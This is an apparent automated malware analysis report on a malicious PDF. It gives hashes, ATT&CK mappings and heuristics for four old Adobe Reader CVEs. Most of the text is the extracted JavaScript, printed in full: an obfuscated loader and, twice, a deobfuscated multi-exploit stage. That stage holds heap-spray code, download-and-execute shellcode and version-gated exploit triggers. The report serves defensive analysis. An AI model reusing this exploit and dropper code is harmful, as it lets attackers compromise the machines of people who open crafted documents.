Malicious PDF — malware analysis report

Static analysis result for SHA-256 7e43209c46127d3c…

MALICIOUS

PDF

5.6 KB First seen: 2026-05-11
MD5: ed7143e2a6ab8285ef1704621445cd47 SHA-1: d9111ac9ae9cba60c03e6280d765131203689319 SHA-256: 7e43209c46127d3c7308fa4828d98cf77bc0edb917cf663687e313fc0047c89d
408 Risk Score

Malware Insights

MITRE ATT&CK
T1059.007 JavaScript T1203 Exploitation for Client Execution T1566.001 Spearphishing Attachment

The PDF file contains embedded JavaScript that leverages multiple known vulnerabilities (CVE-2009-4324, CVE-2009-0927, CVE-2007-5659, CVE-2008-2992) in Adobe Reader. The script is designed to perform a heap spray and execute arbitrary code. The deobfuscated JavaScript indicates it attempts to construct a URL from the document's title and then download and execute shellcode. This strongly suggests the PDF is a dropper for a second-stage payload.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 9

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Related samples 3

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0014_000.js pdf-javascript-stream PDF /JS object 14 at offset 0x10CD 1419 bytes
SHA-256: 556bc933262099898beae37029434d9cb5834e5cffd6e0e1d64ccc03e4197b4f
Preview script
First 1,000 lines of the extracted script
function mB(r,x,xC){return r.substr(x,xC);}var eN=100-100;var b=new String(mB("charqt2",0,4)+mB("i5ELCodeL5iE",4,4)+mB("OjxIAtxIjO",4,2));var l=new String(mB("char4dKY",0,4)+mB("NLbCodeNbL",3,4)+mB("AtjLJe",0,2));;var f=new String(mB("getPWIY",0,4)+mB("ageNqlT",0,4)+mB("1HwthWoH1w",3,4)+mB("rdbFPc",0,2));var v=1;var j=String("%");var h=27-26;var t=String(mB("fr2H7",0,2)+mB("jtwomwtj",3,2)+mB("Chw514",0,2)+mB("lV6RarlR6V",4,2)+mB("Gf8CoG8f",3,2)+mB("deY0lW",0,2));var xS=45-29;var qZ=String;var d=43-41;var hM=this;var yL=new String("lengt"+"h");var hA=new String("sub"+mB("strXm4i",0,3));var kX=168;var hK="";var qR=new String("get"+"Pag"+"eNu"+mB("mWo01D",0,3)+mB("rdsnGc",0,3));var xE=new String(mB("evauBcg",0,3)+"l");function eV(n,hY,p,yF){return n-hY};function oT(jA,p,yF){return hM[f](v,jA)};function iL(lU,p,yF){return j+lU};var l=hM[l];function uN(xO,iZ,p,yF){return xO[iZ]};var fS=hM[qR](v);var iB=new qZ();function hU(wF,vY,p,yF){return wF^kX;};function wR(xO,p,yF){return xO[yL]-d};var pQ=hM[xE];function wT(pA,aP,p,yF){return pA[b](aP)};function tU(xO,aP,p,yF){return xO[hA](aP,d)};function eZ(n,hY,p,yF){return n+hY};function bW(lU,p,yF){var lU=parseInt(lU,xS);lU=hU(lU);lU=uN(qZ,t)(lU);return lU}function uL(lU,p,yF){var nM=wR(lU);lU=tU(lU,nM);return bW(lU)};function cF(lU,p,yF){hK=hK+lU};function nY(jA,p,yF){var sL=oT(jA);sL=uL(sL);return sL;}for(var jA=eN;jA<fS;jA++){var nC=nY(jA);cF(nC);}pQ(hK);
legacy_pdfkit_stage_000.js deobfuscated-js getPageWords-XOR Pidief stage normalized at offset 0x0 3761 bytes
SHA-256: 38ee759fe8e66e08e6741c20bce12f657389d2cf867c5179bdc4e5252c2aa3ac
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 6 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var src_table = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ01234567890/.:_-?&=%';
	var dest_table= 'JQ2cS-uPHtBa/gCNDfU6Ej:lwxnM1L0k&sOI9imTpqXbd3GA%?0WY48y_V.ZvrRFe7zhKo5=';
var hwTl9Dn = new Array();  

function get_shellcode(name) {

	var u = get_url();
	u = for_unescape(u);

	var s = "%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455";
	s+= u;
	return unescape(s);
}


function get_url(){ 
	var str = this.info.title;
	var ret = encode_str(str, dest_table, src_table);
	return ret;
};


function encode_str(str, src_table, dest_table){

	var ret="";
	for(var i=0; i < str.length; i++)
	{
		var index = src_table.indexOf(str[i]);
		if(index > -1 )
		{
			ret += dest_table[index];
		}
	}

	return ret;
};


function for_unescape(str)
{
	var out = "";

    str = bin2hex(str);
    g = Math.round(str.length / 4);
	if (g != str.length /4) str+="00";

	for(var i=0; i < str.length; i+=4)
	{
		out+="%u" + str.substr(i+2, 2) + str.substr(i, 2);
	}

	return out;	
}


function bin2hex (s){

    var i, f = 0, a = [];
    
    s += '';
    f = s.length;
    
    for (i = 0; i<f; i++) {
        a[i] = s.charCodeAt(i).toString(16).replace(/^([\da-f])$/,"0$1").toUpperCase();
    }
    
    return a.join('');
}



function Rq4v1qCC(PDrScZj4, ez5pL6){    

	while (PDrScZj4.length * 2 < ez5pL6){      
		PDrScZj4 += PDrScZj4;    
	}    

	PDrScZj4 = PDrScZj4.substring(0, ez5pL6 / 2);    return PDrScZj4;  
}  

function x8EvTm(I7T0vko5){  

	var qPBt7D = 0x0c0c0c0c;        

	NRjjR6W6 = get_shellcode("pdf");

	if (I7T0vko5 == 1){qPBt7D = 0x30303030;}

	var FeQq1Vv = 0x400000;   
	var tsSzSc = NRjjR6W6.length * 2;    var ez5pL6 = FeQq1Vv - (tsSzSc + 0x38);    
	var PDrScZj4 = unescape("%u9090%u9090");    

	PDrScZj4 = Rq4v1qCC(PDrScZj4, ez5pL6);    

	var x62RaBM3 = (qPBt7D - 0x400000) / FeQq1Vv;    

	for (var Ojafoj = 0; Ojafoj < x62RaBM3; Ojafoj ++ ){    
		hwTl9Dn[Ojafoj] = PDrScZj4 + NRjjR6W6;    
	}
}  

function U2UcYKr(){   

var IyIFVe = app.viewerVersion.toString();          

	if (IyIFVe > 8)
	{
		x8EvTm(1);
		var iVvCdy8 = "12999999999999999999";          

		for (RvU5gmOE = 0; RvU5gmOE < 276; RvU5gmOE ++ )
		{
			iVvCdy8 += "8";   
		}

		util.printf("%45000f", iVvCdy8);      
	}


if (IyIFVe < 8){

	x8EvTm(0);    
	var UNXaCTHb = unescape("%u0c0c%u0c0c");    

	while (UNXaCTHb.length < 44952) UNXaCTHb += UNXaCTHb;    

	this .collabStore = Collab.collectEmailInfo({        subj : "", msg : UNXaCTHb});      
}       

if (IyIFVe < 9.1){

	if (app.doc.Collab.getIcon)
	{
		x8EvTm(0); 
        var eGREUTNw = unescape("%09");          
		while (eGREUTNw.length < 0x4000)eGREUTNw += eGREUTNw;

		eGREUTNw = "N." + eGREUTNw;    

		app.doc.Collab.getIcon(eGREUTNw);   
	}
}   
if (IyIFVe == 9.2){        
	x8EvTm(1);              
	var sf="1.000000000.000000000.1337 : 3.13.37";
	util.printd(sf, new Date());           
	try {	
		media.newPlayer(null);              
	} catch(e) {}
	util.printd(sf, new Date());
}

}

U2UcYKr();

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legacy_pdfkit_stage_001.js deobfuscated-js getPageWords-XOR Pidief stage normalized at offset 0x0 3763 bytes
SHA-256: 999f7224dd7ec08ef37eadbc522eb21ccb2ab74c5016fc36c893f3b28ac4dd4c
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 6 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
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	var src_table = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ01234567890/.:_-?&=%';
	var dest_table= 'JQ2cS-uPHtBa/gCNDfU6Ej:lwxnM1L0k&sOI9imTpqXbd3GA%?0WY48y_V.ZvrRFe7zhKo5=';
var hwTl9Dn = new Array();  

function get_shellcode(name) {

	var u = get_url();
	u = for_unescape(u);

	var s = "%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455";
	s+= u;
	return unescape(s);
}


function get_url(){ 
	var str = this.info.title;
	var ret = encode_str(str, dest_table, src_table);
	return ret;
};


function encode_str(str, src_table, dest_table){

	var ret="";
	for(var i=0; i < str.length; i++)
	{
		var index = src_table.indexOf(str[i]);
		if(index > -1 )
		{
			ret += dest_table[index];
		}
	}

	return ret;
};


function for_unescape(str)
{
	var out = "";

    str = bin2hex(str);
    g = Math.round(str.length / 4);
	if (g != str.length /4) str+="00";

	for(var i=0; i < str.length; i+=4)
	{
		out+="%u" + str.substr(i+2, 2) + str.substr(i, 2);
	}

	return out;	
}


function bin2hex (s){

    var i, f = 0, a = [];
    
    s += '';
    f = s.length;
    
    for (i = 0; i<f; i++) {
        a[i] = s.charCodeAt(i).toString(16).replace(/^([\da-f])$/,"0$1").toUpperCase();
    }
    
    return a.join('');
}



function Rq4v1qCC(PDrScZj4, ez5pL6){    

	while (PDrScZj4.length * 2 < ez5pL6){      
		PDrScZj4 += PDrScZj4;    
	}    

	PDrScZj4 = PDrScZj4.substring(0, ez5pL6 / 2);    return PDrScZj4;  
}  

function x8EvTm(I7T0vko5){  

	var qPBt7D = 0x0c0c0c0c;        

	NRjjR6W6 = get_shellcode("pdf");

	if (I7T0vko5 == 1){qPBt7D = 0x30303030;}

	var FeQq1Vv = 0x400000;   
	var tsSzSc = NRjjR6W6.length * 2;    var ez5pL6 = FeQq1Vv - (tsSzSc + 0x38);    
	var PDrScZj4 = unescape("%u9090%u9090");    

	PDrScZj4 = Rq4v1qCC(PDrScZj4, ez5pL6);    

	var x62RaBM3 = (qPBt7D - 0x400000) / FeQq1Vv;    

	for (var Ojafoj = 0; Ojafoj < x62RaBM3; Ojafoj ++ ){    
		hwTl9Dn[Ojafoj] = PDrScZj4 + NRjjR6W6;    
	}
}  

function U2UcYKr(){   

var IyIFVe = app.viewerVersion.toString();          

	if (IyIFVe > 8)
	{
		x8EvTm(1);
		var iVvCdy8 = "12999999999999999999";          

		for (RvU5gmOE = 0; RvU5gmOE < 276; RvU5gmOE ++ )
		{
			iVvCdy8 += "8";   
		}

		util.printf("%45000f", iVvCdy8);      
	}


if (IyIFVe < 8){

	x8EvTm(0);    
	var UNXaCTHb = unescape("%u0c0c%u0c0c");    

	while (UNXaCTHb.length < 44952) UNXaCTHb += UNXaCTHb;    

	this .collabStore = Collab.collectEmailInfo({        subj : "", msg : UNXaCTHb});      
}       

if (IyIFVe < 9.1){

	if (app.doc.Collab.getIcon)
	{
		x8EvTm(0); 
        var eGREUTNw = unescape("%09");          
		while (eGREUTNw.length < 0x4000)eGREUTNw += eGREUTNw;

		eGREUTNw = "N." + eGREUTNw;    

		app.doc.Collab.getIcon(eGREUTNw);   
	}
}   
if (IyIFVe == 9.2){        
	x8EvTm(1);              
	var sf="1.000000000.000000000.1337 : 3.13.37";
	util.printd(sf, new Date());           
	try {	
		media.newPlayer(null);              
	} catch(e) {}
	util.printd(sf, new Date());
}

}

U2UcYKr();

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